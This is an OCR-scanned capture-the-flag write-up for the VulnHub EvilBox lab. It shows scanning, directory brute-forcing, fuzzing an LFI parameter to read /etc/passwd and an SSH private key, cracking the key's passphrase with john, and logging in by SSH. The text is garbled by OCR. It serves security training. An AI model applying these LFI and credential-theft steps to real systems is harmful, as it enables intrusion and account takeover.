EVI]-BOX This is a box from vulnhub that is rated easy by the author.
The box teaches you how to LFI Vulnerability and how to
Author: Kharim Mchatta. FUZZ for hidden directories

Date: 6/17/2023



Currently scanning: 192.168.192.0/24 | Screen View: Unique Hosts The first step 1S to get the IP address of our target

18 Captured ARP Req/Rep packets, from 7 hosts. Total size: 1080

machine where we used a tool called netdiscover,
Len MAC Vendor / Hostname ‘ ]
it 1s used to scan the network. To Scan the

192.168.192.6 08:00:27:dc:02:cl 60 PCS Systemtechnik GmbH netWOl”k,I used the followmg command

Netdiscover —r 192.168.192.6/24

The target ip i1s the ip address that has the host

name of pcs systemtechnik GmbH

Note: to scan for other devices on the network
you need to first of all get your ip address by
typing in if config then using your ip address you

scan the whole subnet
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~/Desktop/vulnhub/evilbox Next, I scanned the target ip 192.168.192.6 using
nmap -sV -sC -p- 192.168.192.6 -oN nmap.txt

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 05:40 EDT
Nmap scan report for 192.168.192.6

Host is up (0.00041s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10@u2 (protocol 2.0)
| ssh-hostkey:

| 2048 4495500be473a18511cal®eclccbd426 (RSA)

| 256 27db6ac73a9c5a0e47ba8d81ebd6d63c (ECDSA)

|_ 256 e30756a92563d4ce3901c19ad9fede6s (ED25519) But before moving to exploring the web application I
80/tcp open http Apache httpd 2.4.38 ((Debian))
| _http-title: Apache2 Debian Default Page: It works
| _http-server-header: Apache/2.4.38 (Debian)

nmap to see what ports are open and services are
running on the target. From the results we can see
that port 22 and 80 are open. We can’t do much with

port 22 because we don’t have login credentials,

had performed another nmap scan using the nmap

~/Desktop/vulnhub/evilbox script engine http-enum to enumerate the website for
nmap -sV -p 80 --script http-enum 192.168.192.6 -oN nmap2.txt )
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 05:41 EDT ]potentuﬂ_reyaurces.
Nmap scan report for 192.168.192.6
Host is up (0.00055s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-enum:

/robots.txt: Robots file

/secret/: Potentially interesting folder
http-server-header: Apache/2.4.38 (Debian)
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. Cc 0 O & 192168.192.6/ Navigating to http://192.168.162.6 a web application
Kali Linux #8 KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter was loaded which was an apache tomcat default page as
Hello H4x@r nmap had reported. Then I navigate to /robots.txt and

sawa that the was a text saying hello H4x0r
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e C @O O A 192168192.6/sccret & © 1 Next, [ decided to go and open the second director

KaliLinux #8 KaliTools ¢ KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB . .
: ’ - which was secret but it was a blank page. Next and went

to perform content discover on dirsearch but I got the

same assets that were reported by name.

~/Desktop/vulnhub/evilbox
-u 192.168.192.6 -w /root/Desktop/wordlists/common.txt

Extensions: php, aspx, jsp, html, js HTTP method: GET Threads: 30 Wordlist
Output File: /root/.dirsearch/reports/192.168.192.6_23-06-22_07-42-51.txt
Error Log: /root/.dirsearch/logs/errors-23-06-22_07-42-51.1log

Target: http://192.1

[07:42:51] Starting:
[07:43:01] 200 - 10KB - /index.
11] 200 - EXt
12] 301 - 315B - /secret http://192.168.192.6/secret/

Task Completed
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oeakton/eordiista After several attempts of using different wordlists, I

ter dir -u http://192.168.192.6/secret oot/Desktop/wordlists/directory-list-2.3-medium.txt -x php,txt, html

5 . . ’ . . .
g; gitEZezzss(aTheColonial) & Christian Mehlmauer (gfirefart) dldn t get anythlng and deCIded tO use a dlfferent tOO

http://192.168.192.6/secret . . .
[+] Method: GET which is gobuster. I run gobuster and I specified the
[+] Threads: 10
[+] wordlist: /root/Desktop/wordlists/directory-list-2.3-medium. txt
[+] i des: . .
[ satigenti = cohumkec/a's different extensions that gobuster should run through
[+] Extensions: php, txt, html
[+] Timeout:

but also, I did the brute force under the/secret folder

/.ph C : o o .

Jindex. et s: 200) [size: and managed to get a hit with the file evil.php,
/.html ) :

/evil.php : i

/.html

o ‘ Inserting the path /secret/evil.php on the browser it

-u http://192.168.192.6/secret/evil.php?FUZZ=/etc/passwd -w /root/Desktop/wordlists/directory-list-2.3-medium.txt -fs 0

I\ A returned a blank file, hence I decided to fuzz for LFI

NN NN e INENE,
NN AN R NNENON NN \
NANANENANAN /NN AN AN AN AV AN AN A

NN AT on the machine and I got a hit for
\[/ N N 2

S\
&Y

(3o

v2.0.0-dev

p— : Ip/secret/ evil. php? command=/ etc/ passwd

:: URL : http://192.168.192.6/secret/evil.php?FUzZZ=/etc/passwd

:: Wordlist : FUZZ: /root/Desktop/wordlists/directory-list-2.3-medium.txt
:: Follow redirects : true

:: Calibration

11 Timeout $

:: Threads H)

:: Matcher : Response status: 200,204,301,302,307,401,403,405,500

:: Filter : Response size: 0

9 1ze: 139t
* FUZZ: command
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& & & view-source:http://192.168.192.6/secret/evil.php?command=/etc 13

KaliLinux § KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB
Toot:x:0:0:100t:/T00t:/bin/bash
2 daemon:x:1:1:daemon: /usxr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usx/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
) sync:x:4:65534:sync:/bin:/bin/sync
5 games:x:5:6@:games:/usr/games: /usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
8 1p:x:7:7:1p:/vax/spool/lpd: /usx/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usxr/sbin/nologin
news:x:9:9:news: /vaxr/spool/news: /usr/sbin/nologin
uucp:x:10:10@:uucp:/var/spool/uucp: /usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
3 www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
14 backup:x:34:34:backup: /var/backups:/usr/sbin/nologin
> 1ist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
6 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
7 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usx/sbin/nologin
18 nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
9 _apt:x:100:65534::/nonexistent:/usx/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/rTun/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
2 systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
3 messagebus:x:104:110: : /nonexistent:/usr/sbin/nologin
sshd:x:105:65534: : /xrun/sshd: /usr/sbin/nologin
mowree:x:1000:1000:mowree, ,,:/home/mowree: /bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

©

Google Hacking DB

Next, I went to the browser to and inserted the
discovered LFI and indeed I did get a LFI and out of
the LFI I managed to get the user mowree, initially I
though the word H4x0r was the password for user
mowree, but when I tried to log in shh but it didn’t

authenticate me 1n.
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< C @ A view-source:http://192.168.192.6/secret/evil.php?command=/home/mowree/.ssh/id_rsa

Then I decided to see if I could get the private key for the

Kali Linux #8 KaliTools ¢ KaliDocs N KaliForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

2 Proc-Type: 4 ENCRYPTED user mowree through the LFI and I did manage to get the

3 DEK-Info: DES-EDE3-CBC,9FB14B3F3DO4E90QE

5 uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEk1zONt+x4A06FmjFmR8RUpwMHUImbRCE I)]fi‘721t63 L;(:SC '\Nflli(:}]. I (:()I)if:(i. it ElIl(i. S;I\]ff(i. it iI]_ a fil(: (:2111(3(1

6 hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXINCST/GKQOSAQMQMUTacjZZ8E Jzoe
7 07+7tCB8Zk/sW7b8c3m4Cz@CMESmMut8ZyuTnBOSA1GAQTZjqs1dugHjZ1t17mldb
8 +gzWGBUMKTOLO/gcuAZC+Tj+BoGkb2gneiMA850JX6y/dqq4Ir10Qom+@tOFsuot }1 1]
9 b7A9XTubgEls1UEmM8fGW64kX3x3LtXRs0R12n+krZ6T+I0TZThMWNEXR1Wxp4Ub/k asi.
@ HtXTzdvDQBbgBf4h@8qyCOXGEaVZHKaV/ynGnOvezhl1Z+21635]jppVPK@7H4bdLg
95ClomYunvJgunMS@ATC8uAWzoQ5Iz5kadh+NOofUrVLfIZ/OnhtMKW+M948EgnY
2 zh7FfqlK1MjZHxnIS3bdc14MFV@F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
3 IRgnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVWegyifsEigxShdaT5PGdJFKKVLS+bD1
tHBY6UOhKCn3H8edtXwvZN+9PDGDzUCEpTIxYCLkmH+hcr@6ypUtludUrePLh/Xs
; 04KATK4j00IW708GnPdKBiI+3HkoqakL1kyYQVBtMjKTYEM8YRCSSGZT/MdVnYyim
6 VDSpEdAybKBTBG/xVu2CR378BRKz1 JkiyqRjXQLOFMVDZ3I30RpjbpfYQs2Dm2m7
7 Mb26wNQW4ff7qe3@K/IxTm7MfkJPzueQlSi941HXaPv14vyCoPLW89JzsNDsvG8P
8 hrkWRpPIwpzKdtMPwQbkPudykqgKkYYRmV1fX8oeis3C1hCjqvp3Lth@QDI+7Shr
19 Fb5w@n@qfDT4003U1Pun2iqdI4M+iDZUF4S@BD3xA/zp+d98NnG1RgMmJK+StmgR
ITk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRhOU1P5QTh0+V8WzbVzhP6+R
MtqgW1L@iAgB4CnTIud6DpXQtR91//9alrXa+4nWcDW2GoK j1jxOKNK8jXs585nS
62LTVvCcNZVokZjql8Xi7xL@XbEk@gtpItLtX7XxAHLFTVZt4UH6CSOcwqSvvIAGhE9
Q/ikz5XmyQ+wDwQEQDzNe0j9zBh1+1zrdmt@m7hISWnIJakEM2vqCqluNSCES4u8
plia+mel@JV1LobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts@iEIDf+qx2C
pwxoAeltMmInlZfR2sKV1IeHIBfHq/hPf2PHvU@cpz7Mz fY36x9ufZc5MH2JDT8X
KREAJ3S@pMp1P/ZcXjRLO1ESQXeUQ2yvb61m+zphg@QjWH131gnaBIhVIjinLnTa
199+vYdwe8+8nJq4 /WXhkN+VTYXndET2HO fFNTFAQbk2HGY6+6qS/4Q6DVVXTHdp
4Dg2QRNRTj p74dQ1NZ7juucvW7DBFE+CK8@dkrT9yFyybVUqBWHIMMQVFGLKS21/
8k0VjIjFKkGQAINRWKVoo/HaRoI/f2G6tbEiOVc1UMT8iutAg8S4VA==
END RSA PRIVATE KEY
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~/Desktop/vulnhub/evilbox
sshkey > hash

~/Desktop/vu1nhub/evi1 X

yhn ordlist=/usr/share/wordlists/rockyou.txt hash
U51ng default input encodlng UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MDS/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorn (sshkey)
1g 0:00:00:00 DONE (2023-06-22 08:30) 33.33g/s 41600p/s 41600c/s 41600C/s pedro..shirley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

~/Desktop/vulnhub/evilbox
od 700 sshkey

~/Desktop/vulnhub/evilbox

| mowreeg)192.168.192.6 -1 sshkey
Enter passphrase for key 'sshkey':
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
mowreeEvilBoxOne:~$ 1s
user.txt
mowreegEvilBoxOne:~$ cat user.txt
56Rbp@soobpzWSVzKh9YOvzGLEgtPZQ
mowree@EvilBoxOne:~$

After saving the private key next thing was to obtain the
passphrase for the key which can be done by getting the
hash of the file which contained the ssh private key using a
tool called ssh2john and save it on a new file, then you
brute force the file using a tool called john with a wordlist
to get they key which on our case the passphrase was

unicorn.

Then, you change the permission of the ssh hash file to 700
and then you login into the user account using the
obtained private key, you enter the passphrase and then we

were authenticated into the machine and got the user flag.

gy




Summary

Perform nmap

Open the web application

Open robots.txt

Open the secret file

Perform asset discovery using dirsearch

Perform asset discovery on /secret path using gobuster
Fuzz for LFI

Get user in the etc/passwd file

O 0 N o U kW N RE

Get ssh private key
10. Brute force ssh to get passphrase

11. Login ssh port using private key and get access to user.txt
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